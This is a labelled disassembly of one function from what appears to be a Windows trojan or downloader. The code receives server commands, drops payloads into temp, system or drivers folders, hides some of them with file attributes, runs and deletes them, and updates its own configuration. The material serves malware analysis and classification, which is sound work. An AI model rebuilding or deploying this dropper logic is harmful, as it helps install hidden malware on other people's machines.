Function at 0x40ca61
Capabilities:
Create process on windows
Delete file
Get common file path
Query environment variable
Set file attributes
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a4
push ebx
xor ebx, ebx
push esi
push edi
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x3c], ebx
cmp dword [0x413704], ebx
je 0x40ca85
cmp dword [0x413708], ebx
jne 0x40ca8a
call fcn.0040c55d
cmp dword [0x413704], ebx
je 0x40ccb3
cmp dword [0x413708], ebx
je 0x40ccb3
push 0x14
push str.wtm_c
mov edi, str.time_cfg
xor esi, esi
push edi
inc esi
push esi
call fcn.0040e874
push 0x28
push str.wtm_w
push edi
push esi
mov dword [0x41218c], eax
call fcn.0040e874
push 0x28
push str.wtm_r
push edi
push esi
mov dword [0x412194], eax
call fcn.0040e874
add esp, 0x30
mov dword [0x412190], eax
cmp dword [0x413748], ebx
jne 0x40cb06
push 0x100000
call fcn.0040ec27
pop ecx
mov dword [0x413748], eax
cmp eax, ebx
je 0x40ccb3
mov edx, dword [0x41370c]
mov ecx, dword [0x413704]
mov eax, edx
imul eax, eax, 0x45
mov dword [ebp - 4], ebx
cmp dword [eax + ecx + 0x41], ebx
jne 0x40cb4b
mov edi, dword [0x413708]
cmp dword [ebp - 4], edi
jge 0x40cb4b
lea eax, [edx + 1]
cdq
idiv edi
inc dword [0x413714]
inc dword [ebp - 4]
mov eax, edx
imul eax, eax, 0x45
mov dword [0x41370c], edx
cmp dword [eax + ecx + 0x41], ebx
je 0x40cb26
imul edx, edx, 0x45
lea eax, [edx + ecx]
mov ecx, dword [eax + 0x41]
cmp ecx, ebx
je 0x40ccb3
push ecx
inc eax
push eax
call fcn.0040268d
pop ecx
push eax
call fcn.0040f483
pop ecx
pop ecx
mov dword [ebp - 0xc], eax
cmp eax, ebx
jg 0x40cb7e
call fcn.0040c9f8
jmp 0x40ccb5
push ebx
mov edi, 0xc8
push edi
lea ecx, [ebp - 0x27c]
push ecx
push eax
call fcn.0040f499
add esp, 0x10
cmp eax, edi
je 0x40cba4
push dword [ebp - 0xc]
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x40cb74
lea eax, [ebp - 0x27c]
push edi
push eax
call fcn.00408f9f
cmp dword [ebp - 0x1f0], 0xff
pop ecx
pop ecx
ja 0x40cb99
cmp dword [ebp - 0x1fc], 7
ja 0x40cb99
cmp dword [ebp - 0x1f8], 7
ja 0x40cb99
push dword [ebp - 0x1ec]
mov edi, str.localcfg
push 0x410764
push edi
push esi
mov dword [0x41371c], esi
mov dword [0x413710], ebx
mov dword [0x413714], ebx
call fcn.0040eadf
push ebx
call fcn.0040f0a9
push dword [ebp - 0x1e8]
mov dword [ebp - 0x64], eax
push str.srv_time
push edi
push esi
mov dword [ebp - 0x60], edx
call fcn.0040eadf
push dword [ebp - 0x64]
push str.local_time
push edi
push esi
call fcn.0040eadf
lea eax, [ebp - 0x27c]
push eax
lea eax, [ebp - 0x1b4]
push eax
call fcn.00409002
lea eax, [ebp - 0x27c]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.00409002
add esp, 0x44
push 0x74
lea eax, [ebp - 0x2f0]
push ebx
push eax
call fcn.0040ee85
lea eax, [ebp - 0x30]
push eax
push 0x74
push 0x4121a0
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x27c]
push eax
push dword [ebp - 0xc]
mov dword [ebp - 0x2e8], esi
mov dword [ebp - 0x2b8], 0x100007f
mov dword [ebp - 0x2e4], esi
mov dword [ebp - 0x2dc], 0x1f
mov dword [ebp - 0x2f0], ebx
mov dword [ebp - 0x23], esi
call fcn.0040c7aa
add esp, 0x24
test eax, eax
jg 0x40ccba
push dword [ebp - 0xc]
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov dword [0x4121d4], ebx
mov byte [0x4121e6], bl
mov edi, dword [ebp - 0xc]
lea eax, [ebp - 0x30]
push eax
mov esi, 0x100000
push esi
push dword [0x413748]
lea eax, [ebp - 0x1b4]
push eax
lea eax, [ebp - 0x27c]
push eax
push edi
call fcn.0040c8ab
add esp, 0x18
cmp eax, 0xfffffffe
je 0x40dbe0
cmp eax, ebx
jl 0x40ccc6
mov eax, dword [ebp - 0x23]
cmp eax, ebx
je 0x40dbf6
cmp eax, 1
je 0x40d7ce
cmp eax, 2
je 0x40d758
cmp eax, 0xa
je 0x40d744
jbe 0x40d6f5
cmp eax, 0xc
jbe 0x40cf70
cmp eax, 0x1b
jne 0x40d6f5
cmp dword [ebp - 0x30], 0xc
jbe 0x40cf3c
call fcn.00407e7b
test eax, eax
jne 0x40ccc6
mov eax, dword [0x413748]
mov dword [ebp - 4], eax
cmp byte [0x412240], bl
je 0x40cf1c
lea eax, [ebp - 0x194]
push eax
push 0x120
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x194]
push eax
call fcn.004082c0
pop ecx
mov edi, eax
call fcn.0040ed00
mov esi, eax
and esi, 3
add esi, 5
jmp 0x40cdae
call fcn.0040ed00
xor edx, edx
push 0x1a
pop ecx
div ecx
add dl, 0x61
mov byte [ebp + edi - 0x194], dl
inc edi
dec esi
cmp esi, ebx
jg 0x40cd96
push 0xb7
push 0xa9
push 5
push 0x4106a8
mov esi, 0x412390
push esi
call fcn.0040254d
push eax
lea eax, [ebp + edi - 0x194]
push eax
call fcn.0040ef5b
mov edi, 0x100
push edi
push ebx
push esi
call fcn.0040ee85
add esp, 0x28
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x40cf1c
push ebx
lea eax, [ebp - 0x60]
push eax
mov eax, dword [ebp - 0x30]
add eax, 0xfffffff4
push eax
mov eax, dword [ebp - 4]
add eax, 0xc
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 8]
test eax, eax
je 0x40cf16
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x412240
lea eax, [ebp - 0x194]
push eax
push 0xb7
push 0xa9
push 0xc
push 0x41100c
push esi
call fcn.0040254d
add esp, 0x14
push eax
lea eax, [ebp - 0x4a4]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push edi
push ebx
push esi
call fcn.0040ee85
push 0x44
pop esi
push esi
lea eax, [ebp - 0x334]
push ebx
push eax
call fcn.0040ee85
push 0x10
lea eax, [ebp - 0x74]
push ebx
push eax
mov dword [ebp - 0x334], esi
call fcn.0040ee85
add esp, 0x34
call fcn.0040801b
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x334]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
lea eax, [ebp - 0x4a4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40cf02
push 0xea60
push dword [ebp - 0x74]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x70]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x74]
call esi
push ebx
call fcn.0040f0a9
add eax, 0xe10
adc edx, ebx
pop ecx
mov dword [0x413740], eax
mov dword [0x413744], edx
call fcn.00407f32
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x40cf1c
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 4]
mov dword [0x41223c], ecx
mov eax, dword [eax + 8]
push ebx
mov dword [0x41236c], eax
call fcn.00407ef9
pop ecx
jmp 0x40ccc6
mov eax, dword [0x413748]
mov ecx, dword [eax + 4]
mov dword [0x41223c], ecx
mov eax, dword [eax + 8]
push ebx
mov dword [0x41236c], eax
call fcn.0040f0a9
add eax, 0xe10
adc edx, ebx
pop ecx
mov dword [0x413740], eax
mov dword [0x413744], edx
jmp 0x40ccc6
mov esi, dword [0x413748]
mov dword [ebp - 0x44], ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], ebx
cmp dword [esi], ebx
jle 0x40d00b
add esi, 8
mov edi, str.localcfg
mov eax, dword [esi - 4]
dec eax
je 0x40cfe2
dec eax
je 0x40cfd2
dec eax
je 0x40cfba
dec eax
jne 0x40cffb
push dword [esi]
push str.flags_upd
push edi
push 1
call fcn.0040eadf
mov eax, dword [esi]
add esp, 0x10
or dword [0x4121a0], eax
jmp 0x40cffb
push dword [esi]
push str.lid_file_upd
push edi
push 1
call fcn.0040eadf
mov eax, dword [esi]
mov dword [0x4121c8], eax
jmp 0x40cff8
mov eax, dword [esi]
mov dword [ebp - 0x44], 1
mov dword [0x4121c4], eax
jmp 0x40cffb
push dword [esi]
push str.ver_drv_upd
push edi
push 1
call fcn.0040eadf
mov eax, dword [esi]
mov dword [0x4121c0], eax
add esp, 0x10
inc dword [ebp - 4]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
add esi, 8
cmp ecx, dword [eax]
jl 0x40cf8f
mov eax, dword [ebp - 4]
mov ecx, dword [0x413748]
lea esi, [ecx + eax*8 + 4]
mov ecx, dword [ebp - 0x30]
lea eax, [ecx + eax*8 + 4]
mov ecx, dword [esi + 0x124]
add ecx, 0x128
mov dword [ebp - 8], eax
cmp ecx, eax
jmp 0x40d6aa
cmp dword [ebp - 8], ebx
jbe 0x40d6b3
test byte [esi], 3
je 0x40d685
push 0x120
lea eax, [ebp - 0x194]
push ebx
push eax
call fcn.0040ee85
mov eax, dword [esi]
add esp, 0xc
xor edi, edi
mov ecx, 0x100
test eax, 0xf80
jne 0x40d070
or eax, ecx
mov dword [esi], eax
mov eax, dword [esi]
test eax, 0x800
je 0x40d093
and eax, 0xfffff7ff
mov dword [esi], eax
cmp byte [0x41201e], bl
je 0x40d08c
or eax, ecx
jmp 0x40d091
or eax, 0x200
mov dword [esi], eax
mov eax, dword [esi]
test al, al
jns 0x40d0ed
lea edi, [esi + 4]
mov eax, edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x40d0a1
sub eax, ecx
push eax
lea eax, [ebp - 0x194]
push edi
push eax
call fcn.0040ee63
lea eax, [ebp - 0x194]
add esp, 0xc
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40d0c4
sub eax, edi
mov edi, eax
cmp edi, ebx
je 0x40d1f2
mov al, byte [ebp + edi - 0x195]
cmp al, 0x5c
je 0x40d1f2
cmp al, 0x2f
jmp 0x40d17f
test ecx, eax
je 0x40d148
push 0x100
lea eax, [ebp - 0x194]
push eax
push 0xb7
push 0xa9
push 0xc
push 0x410a4c
mov edi, 0x412390
push edi
call fcn.0040254d
add esp, 0x14
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push 0x100
push ebx
push edi
call fcn.0040ee85
lea eax, [ebp - 0x194]
add esp, 0xc
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40d13b
sub eax, edi
mov edi, eax
jmp 0x40d173
test eax, 0x200
je 0x40d18c
push 0x100
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [ebp - 0x194]
lea eax, [edi + 1]
mov cl, byte [edi]
inc edi
cmp cl, bl
jne 0x40d16a
sub edi, eax
cmp edi, ebx
je 0x40d1f2
cmp byte [ebp + edi - 0x195], 0x5c
je 0x40d1f2
mov byte [ebp + edi - 0x194], 0x5c
inc edi
jmp 0x40d1f2
test eax, 0x400
je 0x40d1f2
push 0x100
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x194]
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40d1ae
sub eax, edi
cmp eax, ebx
je 0x40d1cd
cmp byte [ebp + eax - 0x195], 0x5c
je 0x40d1cd
mov byte [ebp + eax - 0x194], 0x5c
lea eax, [ebp - 0x194]
push str.drivers_
push eax
call fcn.0040ef79
pop ecx
lea edi, [ebp - 0x194]
pop ecx
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
cmp al, bl
jne 0x40d1e9
sub edi, ecx
test byte [esi], 4
je 0x40d26a
call fcn.0040ed00
push 5
xor edx, edx
pop ecx
div ecx
add dl, 3
mov byte [ebp - 0xd], dl
je 0x40d227
call fcn.0040ed00
xor edx, edx
push 0x19
pop ecx
div ecx
add dl, 0x61
mov byte [ebp + edi - 0x194], dl
inc edi
dec byte [ebp - 0xd]
jne 0x40d20b
mov byte [ebp + edi - 0x194], bl
mov eax, dword [esi]
test al, 0xa
jne 0x40d24a
test al, 0x10
je 0x40d23f
push str..sys
jmp 0x40d271
test al, 0x20
je 0x40d27e
push str..dat
jmp 0x40d271
push 0xb7
push 0xa9
push 5
push 0x4106a8
push 0x412390
call fcn.0040254d
add esp, 0x14
jmp 0x40d270
lea eax, [esi + 0x104]
push eax
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
test byte [esi], 0x40
je 0x40d298
lea eax, [ebp - 0x34]
push eax
push ebx
push ebx
push ebx
push ebx
push 0x22c808
call fcn.00408e72
add esp, 0x18
cmp dword [ebp - 0x23], 0xc
jne 0x40d2c7
lea eax, [ebp - 0x194]
push str..dat
push eax
call fcn.0040eef0
pop ecx
pop ecx
test eax, eax
je 0x40d2c7
push 0x80
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push 0x80
push 2
push ebx
push ebx
push 0xc0000000
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40d49d
push ebx
lea ecx, [ebp - 0x34]
push ecx
push dword [esi + 0x124]
lea eax, [esi + 0x128]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x23], 0xc
jne 0x40d33a
lea eax, [ebp - 0x194]
push str..dat
push eax
call fcn.0040eef0
pop ecx
pop ecx
test eax, eax
je 0x40d33a
push 2
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x194]
push str..dat
push eax
mov dword [ebp - 4], 1
call fcn.0040eef0
pop ecx
pop ecx
test eax, eax
je 0x40d5d4
push 0x120
lea eax, [ebp - 0x194]
push ebx
push eax
call fcn.0040ee85
add esp, 0xc
mov edi, 0x100
push edi
lea eax, [ebp - 0x194]
push eax
push 0xb7
push 0xa9
push 0xc
push 0x410a4c
push 0x412390
call fcn.0040254d
add esp, 0x14
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push edi
push ebx
push 0x412390
call fcn.0040ee85
lea eax, [ebp - 0x194]
add esp, 0xc
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40d3bb
sub eax, edi
cmp eax, ebx
je 0x40d3da
cmp byte [ebp + eax - 0x195], 0x5c
je 0x40d3da
mov byte [ebp + eax - 0x194], 0x5c
lea eax, [esi + 0x104]
push eax
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp dword [ebp - 0x23], 0xc
jne 0x40d41d
lea eax, [ebp - 0x194]
push str..dat
push eax
call fcn.0040eef0
pop ecx
pop ecx
test eax, eax
je 0x40d41d
push 0x80
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push 0x80
push 2
push ebx
push ebx
push 0xc0000000
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40d5d4
push ebx
lea eax, [ebp - 0x34]
push eax
push dword [esi + 0x124]
lea eax, [esi + 0x128]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x23], 0xc
jne 0x40d5d4
lea eax, [ebp - 0x194]
push str..dat
push eax
call fcn.0040eef0
pop ecx
pop ecx
test eax, eax
je 0x40d5d4
push 2
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x40d5d4
push 0x120
lea eax, [ebp - 0x194]
push ebx
push eax
call fcn.0040ee85
add esp, 0xc
mov edi, 0x100
push edi
lea eax, [ebp - 0x194]
push eax
push 0xb7
push 0xa9
push 0xc
push 0x410a4c
push 0x412390
call fcn.0040254d
add esp, 0x14
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push edi
push ebx
push 0x412390
call fcn.0040ee85
lea eax, [ebp - 0x194]
add esp, 0xc
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40d4fc
sub eax, edi
cmp eax, ebx
je 0x40d51b
cmp byte [ebp + eax - 0x195], 0x5c
je 0x40d51b
mov byte [ebp + eax - 0x194], 0x5c
lea eax, [esi + 0x104]
push eax
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp dword [ebp - 0x23], 0xc
jne 0x40d55e
lea eax, [ebp - 0x194]
push str..dat
push eax
call fcn.0040eef0
pop ecx
pop ecx
test eax, eax
je 0x40d55e
push 0x80
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push 0x80
push 2
push ebx
push ebx
push 0xc0000000
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40d5d4
push ebx
lea eax, [ebp - 0x34]
push eax
push dword [esi + 0x124]
lea eax, [esi + 0x128]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x23], 0xc
jne 0x40d5cd
lea eax, [ebp - 0x194]
push str..dat
push eax
call fcn.0040eef0
pop ecx
pop ecx
test eax, eax
je 0x40d5cd
push 2
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [ebp - 4], 1
test byte [esi], 0x40
je 0x40d5ee
lea eax, [ebp - 0x34]
push eax
push ebx
push ebx
push ebx
push ebx
push 0x22c80c
call fcn.00408e72
add esp, 0x18
test byte [esi], 2
je 0x40d685
cmp dword [ebp - 4], ebx
je 0x40d685
push 1
call fcn.00407ef9
call fcn.0040801b
push 0x44
pop edi
push edi
lea eax, [ebp - 0x378]
push ebx
push eax
call fcn.0040ee85
add esp, 0x10
lea eax, [ebp - 0x1a4]
push eax
lea eax, [ebp - 0x378]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push 0x410264
lea eax, [ebp - 0x194]
push eax
mov dword [ebp - 0x378], edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40d66c
push dword [ebp - 0x1a0]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x1a4]
call edi
jmp 0x40d685
call fcn.00407f32
push ebx
call fcn.00407ef9
pop ecx
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esi + 0x124]
mov ecx, 0xfffffed8
sub ecx, eax
add dword [ebp - 8], ecx
lea esi, [esi + eax + 0x128]
mov eax, dword [esi + 0x124]
add eax, 0x128
cmp eax, dword [ebp - 8]
mov dword [ebp - 4], ebx
jbe 0x40d035
test byte [0x4121a0], 4
je 0x40ccc6
cmp dword [ebp - 0x44], ebx
je 0x40ccc6
cmp byte [0x41201d], bl
je 0x40ccc6
push dword [ebp - 0xc]
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040e3ab
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor edi, edi
mov eax, dword [edi + 0x413398]
cmp eax, ebx
je 0x40d734
mov esi, dword [eax + 0x40]
cmp esi, ebx
je 0x40d734
xor edx, edx
add eax, 0xc
mov ecx, dword [eax]
cmp ecx, ebx
je 0x40d734
cmp ecx, dword [ebp - 0x23]
je 0x40d723
inc edx
add eax, 4
cmp edx, 0xa
jl 0x40d70d
jmp 0x40d734
push dword [ebp - 0x30]
push dword [0x413748]
push dword [ebp - 0x23]
call esi
add esp, 0xc
add edi, 4
cmp edi, 0x80
jb 0x40d6f7
jmp 0x40ccc6
push dword [ebp - 0x30]
push dword [0x413748]
call fcn.004031d9
pop ecx
jmp 0x40cf36
push dword [0x413748]
call fcn.0040e01b
pop ecx
test eax, eax
je 0x40ccc6
mov eax, dword [0x413748]
push 8
mov esi, str.work_srv
add eax, 4
push esi
push eax
call fcn.0040ed96
mov eax, dword [0x413748]
xor edi, edi
inc edi
add esp, 0xc
cmp dword [eax], edi
jne 0x40ccc6
add eax, 4
push esi
push eax
call fcn.0040ef2c
pop ecx
pop ecx
test eax, eax
jne 0x40ccc6
mov dword [0x413718], ebx
mov dword [0x41370c], ebx
mov dword [0x413710], ebx
mov dword [0x413714], ebx
call fcn.0040c55d
mov dword [ebp - 0x3c], edi
jmp 0x40ccc6
mov eax, dword [0x413748]
mov ecx, dword [eax]
mov dword [ebp - 0x14], ecx
mov edx, dword [eax + 4]
mov dword [ebp - 0x48], edx
test cl, 0x18
je 0x40d833
and ecx, 0x10
push ecx
push esi
push eax
jmp 0x40d827
lea ecx, [ebp - 0x30]
push ecx
push eax
push dword [0x413748]
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x27c]
push eax
push edi
mov dword [ebp - 0x23], 4
call fcn.0040c7aa
add esp, 0x18
test eax, eax
jle 0x40dbe0
mov eax, dword [ebp - 0x14]
and eax, 0x10
push eax
push esi
push dword [0x413748]
call fcn.00403c12
add esp, 0xc
cmp eax, ebx
jne 0x40d7eb
test byte [ebp - 0x14], 1
je 0x40d873
push dword [0x413748]
call fcn.00403a09
lea eax, [ebp - 0x30]
push eax
push 0x28
push dword [0x413748]
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x27c]
push eax
push edi
mov dword [ebp - 0x23], 3
call fcn.0040c7aa
add esp, 0x1c
test eax, eax
jle 0x40dbe0
test byte [ebp - 0x14], 4
je 0x40d8c0
push 0x71c7
push dword [0x413748]
call fcn.0040e80f
pop ecx
pop ecx
cmp eax, ebx
jle 0x40d8c0
imul eax, eax, 0x24
lea ecx, [ebp - 0x30]
push ecx
push eax
push dword [0x413748]
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x27c]
push eax
push edi
mov dword [ebp - 0x23], 2
call fcn.0040c7aa
add esp, 0x18
test eax, eax
jle 0x40dbe0
test byte [ebp - 0x14], 0x40
je 0x40d90a
jmp 0x40d8ef
lea ecx, [ebp - 0x30]
push ecx
push eax
push dword [0x413748]
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x27c]
push eax
push edi
call fcn.0040c7aa
add esp, 0x18
test eax, eax
jle 0x40dbe0
push esi
push dword [0x413748]
lea eax, [ebp - 0x23]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.0040c072
add esp, 0x10
cmp eax, ebx
jne 0x40d8c8
test byte [ebp - 0x14], 0x80
je 0x40d9c7
cmp byte [0x41221c], bl
je 0x40d9c7
lea eax, [ebp - 0x194]
push 0x120
push eax
mov dword [ebp - 0x23], 0xb
call fcn.00406fd0
mov eax, dword [0x4121b8]
pop ecx
pop ecx
and eax, 0x600
push 0x41221c
neg eax
sbb eax, eax
and eax, 0x20
lea ecx, [ebp - 0x194]
push ecx
add eax, 0x20
push eax
movzx eax, byte [0x4121e5]
push eax
push dword [0x4121bc]
push dword [0x4121ac]
push 0xb7
push 0xa9
push 0x27
push 0x410fbc
push 0x412390
call fcn.0040254d
add esp, 0x14
push eax
push dword [0x413748]
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [ebp - 0x30]
push ecx
push eax
push dword [0x413748]
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x27c]
push eax
push edi
call fcn.0040c7aa
add esp, 0x38
test eax, eax
jle 0x40dbe0
mov byte [0x41221c], bl
test dword [ebp - 0x14], 0x100
je 0x40da4d
push 0x410264
push esi
push dword [0x413748]
mov edi, str.except_info
push edi
push str.localcfg
push 1
call fcn.0040e8af
mov eax, dword [0x413748]
add esp, 0x18
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x40d9f9
sub eax, ecx
mov dword [ebp - 4], eax
cmp eax, ebx
jle 0x40da4d
push 0x410264
push edi
push str.localcfg
push 1
call fcn.0040e8fc
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x58]
push dword [0x413748]
mov dword [ebp - 0x23], 0xf
push eax
lea eax, [ebp - 0x27c]
push eax
push dword [ebp - 0xc]
call fcn.0040c7aa
add esp, 0x28
test eax, eax
jle 0x40dbe0
test dword [ebp - 0x14], 0x400
je 0x40db21
call fcn.00407e22
test eax, eax
jne 0x40db21
push ebx
call fcn.0040f0a9
pop ecx
cmp dword [0x413744], edx
jg 0x40db21
jl 0x40da88
cmp dword [0x413740], eax
ja 0x40db21
cmp byte [0x412240], bl
je 0x40db21
cmp dword [0x41223c], ebx
jne 0x40dadc
push ebx
lea eax, [ebp - 0x40]
push eax
push 0x412240
call fcn.004067cd
mov edi, eax
add esp, 0xc
cmp edi, ebx
je 0x40dad4
push ebx
push dword [ebp - 0x40]
push edi
call fcn.004024cb
mov dword [0x41236c], eax
mov eax, dword [ebp - 0x40]
push edi
mov dword [0x41223c], eax
call fcn.0040ec89
add esp, 0x10
cmp dword [0x41223c], ebx
je 0x40db21
mov eax, dword [0x413748]
mov dword [eax], ebx
mov ecx, dword [0x41223c]
mov dword [eax + 4], ecx
mov ecx, dword [0x41236c]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x30]
push ecx
push 0xc
push eax
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x27c]
push eax
push dword [ebp - 0xc]
mov dword [ebp - 0x23], 0x34
call fcn.0040c7aa
add esp, 0x18
test eax, eax
jle 0x40dbe0
mov dword [ebp - 8], ebx
cmp dword [ebp - 0x38], ebx
jne 0x40dbe0
mov eax, dword [ebp - 8]
mov edi, dword [eax + 0x413398]
cmp edi, ebx
je 0x40db9e
mov eax, dword [edi + 0x4c]
cmp eax, ebx
je 0x40db9e
push esi
push dword [0x413748]
lea ecx, [ebp - 0x23]
push ecx
lea ecx, [ebp - 0x48]
push ecx
call eax
jmp 0x40db8b
lea ecx, [ebp - 0x30]
push ecx
push eax
push dword [0x413748]
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x27c]
push eax
push dword [ebp - 0xc]
call fcn.0040c7aa
add esp, 0x18
test eax, eax
jle 0x40db97
push esi
push dword [0x413748]
lea eax, [ebp - 0x23]
push eax
lea eax, [ebp - 0x48]
push eax
call dword [edi + 0x4c]
add esp, 0x10
mov dword [ebp - 0x30], eax
cmp eax, ebx
jg 0x40db54
jmp 0x40db9e
mov dword [ebp - 0x38], 1
add dword [ebp - 8], 4
cmp dword [ebp - 8], 0x80
jb 0x40db24
cmp dword [ebp - 0x38], ebx
jne 0x40dbe0
lea eax, [ebp - 0x30]
push eax
push ebx
push dword [0x413748]
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x27c]
push eax
push dword [ebp - 0xc]
mov dword [ebp - 0x23], ebx
call fcn.0040c7aa
add esp, 0x18
test eax, eax
jg 0x40ccc6
push dword [ebp - 0xc]
call dword [sym.imp.WS2_32.dll_closesocket]
call fcn.0040e3ab
mov eax, dword [ebp - 0x3c]
jmp 0x40ccb5
xor esi, esi
inc esi
xor eax, eax
inc eax
mov ecx, esi
shl eax, cl
test dword [ebp - 0x1f], eax
je 0x40dc31
cmp byte [esi + 0x4121ec], bl
jne 0x40dc31
cmp esi, 3
je 0x40dc31
push 0xa
lea eax, [ebp - 0x5c]
push eax
push esi
call fcn.0040f248
lea eax, [ebp - 0x5c]
push eax
push 5
push 0x408c9d
call fcn.0040e6af
add esp, 0x18
inc esi
cmp esi, 0x20
jb 0x40dbf9
jmp 0x40ccc6